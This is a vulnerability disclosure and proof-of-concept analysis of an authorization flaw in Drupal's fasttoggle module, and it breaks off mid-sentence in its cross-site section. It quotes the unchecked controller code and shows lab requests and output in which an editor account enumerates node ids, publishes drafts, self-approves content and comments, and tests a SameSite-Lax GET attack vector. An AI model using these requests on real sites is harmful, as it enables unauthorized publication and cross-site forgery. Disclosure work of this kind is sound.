
Proof-of-concept and technical analysis for CVE-2026-118569, an incorrect authorization flaw in Drupal's fasttoggle module letting editors publish, promote or sticky any node.
/fasttoggle/{entity_type}/{entity_id}/{action} was gated by one permission and
nothing else. The controller read the entity id out of the path, loaded the node
or comment, flipped the flag and saved it. There was no entity access check, no
CSRF token, and no look at the per-content-type switches the module's own link
builder honours. An account holding use fasttoggle, which is what you grant an editor,
could publish, unpublish, promote or make sticky any node on the site, and
publish any comment. Drafts it had no permission to read included.
| CVE | CVE-2026-118569, assigned by Drupal.org, published 2026-10-30 |
| Advisory | SA-CONTRIB-2026-282, 2026-10-28 |
| Project | fasttoggle |
| Affected | < 4.1.1 |
| Fixed | 4.1.1 |
| CWE | CWE-863, Incorrect Authorization |
| Drupal risk | Moderately critical 13/25, AC:None/A:User/CI:None/II:Some/E:Theoretical/TD:All |
| CVSS 3.1 | 7.1, AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N. Score for one toggle; Drupal's own rating is the 13/25 above |
| Install base | 484 sites in the week of 2026-10-25; 83 on the affected 4.x branch (27 on 4.0.x, 56 on 4.1.x) |
| Tested on | Drupal 11.4.6, PHP 8.4.24, fasttoggle 4.1.0 unpacked from fasttoggle-4.1.0.tar.gz, sha256 2e3d6fbb7f8e134e29058b615f041ad6f40d4149e9e825d3d13743ac9d55d75f |
| Credit | Reported by Nam Nguyen Le Thanh (yuwkaa). Fixed by Andrei Ivnitskii (ivnish) |
fasttoggle.routing.yml in 4.1.0:
fasttoggle.toggle:
path: '/fasttoggle/{entity_type}/{entity_id}/{action}'
defaults:
_controller: '\Drupal\fasttoggle\Controller\FasttoggleController::toggle'
requirements:
_permission: 'use fasttoggle'
src/Controller/FasttoggleController.php:
$parts = explode('/', $request->getPathInfo());
$index = array_search('fasttoggle', $parts);
$type = $parts[$index + 1];
$id = $parts[$index + 2];
$action = $parts[$index + 3];
...
$node = $storage_handler->load($id);
...
case 'status':
$status = $node->isPublished();
...
$status ? $node->setUnpublished() : $node->setPublished();
...
$node->save();
The id comes from the path, the entity is loaded, the flag is flipped, the entity
is saved. $node->access('update') appears nowhere in that method.
The module's link builder is stricter than its own route. FasttoggleHooks::nodeLinksAlter()
only renders a toggle link where the content type opted in:
$status_toggle = $node_type->getThirdPartySetting('fasttoggle', 'status', 0);
The controller never read that setting, so the URL worked on content types where an administrator had never switched the feature on.
SA-CONTRIB-2014-076 / CVE-2014-5268 was the same class on the 7.x branch. The 7.x-1.5 fix is still shipping:
function fasttoggle_node_edit_access($obj)
{
return fasttoggle_deny_access_if(!node_access('update', $obj));
}
registered as 'access' => array('fasttoggle_node_edit_access'), with a second
layer per setting:
function fasttoggle_node_promote_access($obj) {
return fasttoggle_allow_access_if(user_access("override {$obj->type} promote option") || user_access('promote posts'));
}
The Drupal 10/11 rewrite kept the route permission and dropped both of those layers. 356 of the 484 reporting sites are still on 7.x, which has the checks.
Stock Drupal 11.4.6 on SQLite, three accounts. mallory holds access content,
use fasttoggle, create article content and post comments. She does not hold
administer nodes, skip comment approval or administer comments.
One pass over an id range, because entity_id is a plain integer from the path
and there is no flood control:
nodes total=8, unpublished=7
nid 40 -> HTTP 200
nid 41 -> HTTP 200
nid 42 -> HTTP 200
nid 43 -> HTTP 200
nid 44 -> HTTP 200
nid 45 -> HTTP 200
nid 46 -> HTTP 200
nid 47 -> HTTP 200
nid 48 -> HTTP 400
nid 49 -> HTTP 400
nid 50 -> HTTP 400
nid 51 -> HTTP 400
node 40 status=1 promote=1 sticky=1 "Admin's published article"
node 41 status=0 promote=0 sticky=0 "Admin's UNPUBLISHED draft"
node 42 status=1 promote=0 sticky=0 "INTERNAL DRAFT #1"
node 43 status=1 promote=0 sticky=0 "INTERNAL DRAFT #2"
node 44 status=1 promote=0 sticky=0 "INTERNAL DRAFT #3"
node 45 status=1 promote=0 sticky=0 "INTERNAL DRAFT #4"
node 46 status=1 promote=0 sticky=0 "INTERNAL DRAFT #5"
node 47 status=1 promote=0 sticky=0 "INTERNAL DRAFT #6"
Every internal draft went public in that pass. The 400 on an id that does not
exist makes the same route a node-existence oracle.
On a site where a content type defaults to unpublished, which is the ordinary submit-for-review setup, an account that may create content but not publish it could publish its own and put it on the front page:
(reset: the published article is published again, everything else a draft, promote/sticky=0)
POST /node/add/article -> HTTP 303
nid of the submitted article: 48
anonymous GET /node/48 -> HTTP 403 expected 403
GET /fasttoggle/node/48/status -> HTTP 200
GET /fasttoggle/node/48/promote -> HTTP 200
anonymous GET /node/48 -> HTTP 200 was 403 a moment ago
anonymous front page: CONTAINS the attacker article
The comment branch behaved the same way, so the same account could approve its own comment:
POST comment -> HTTP 303
comment 4 status=0 "MALLORY COMMENT AWAITING APPROVAL"
anonymous: comment not visible (awaiting approval)
GET /fasttoggle/comment/4/status -> HTTP 200
comment 4 status=1 "MALLORY COMMENT AWAITING APPROVAL"
anonymous: comment IS visible <-- approval bypassed
Controls from the same run: an anonymous request and a logged-in account without
use fasttoggle both got 403. Full output in
poc-transcript.txt.
No request above carries a CSRF token or a Referer, because the route asked for
neither, and the toggle is a GET. Driving Chromium against the lab shows which
cross-site vector that leaves open and which one it does not:
session cookie: name=SESS12ca17b49af2289436f303e0166030a2 sameSite=Lax httpOnly=True
instrument saw /probe-same-site-subresource Cookie carries SESS: True
instrument saw /probe-cross-site-subresource Cookie carries SESS: False
instrument saw /probe-cross-site-toplevel Cookie carries SESS: True
So an `` tag on the attacker's page does not work: the cookie defaults to
SameSite=Lax and a cross-site subresource never carries it, and the target node
came back unchanged. Cross-site top-level navigation is what Lax still allows,
and that is enough here because the toggle is a GET. A link the victim clicks, or a
window.location on the attacker's page, carries the session and fires the toggle: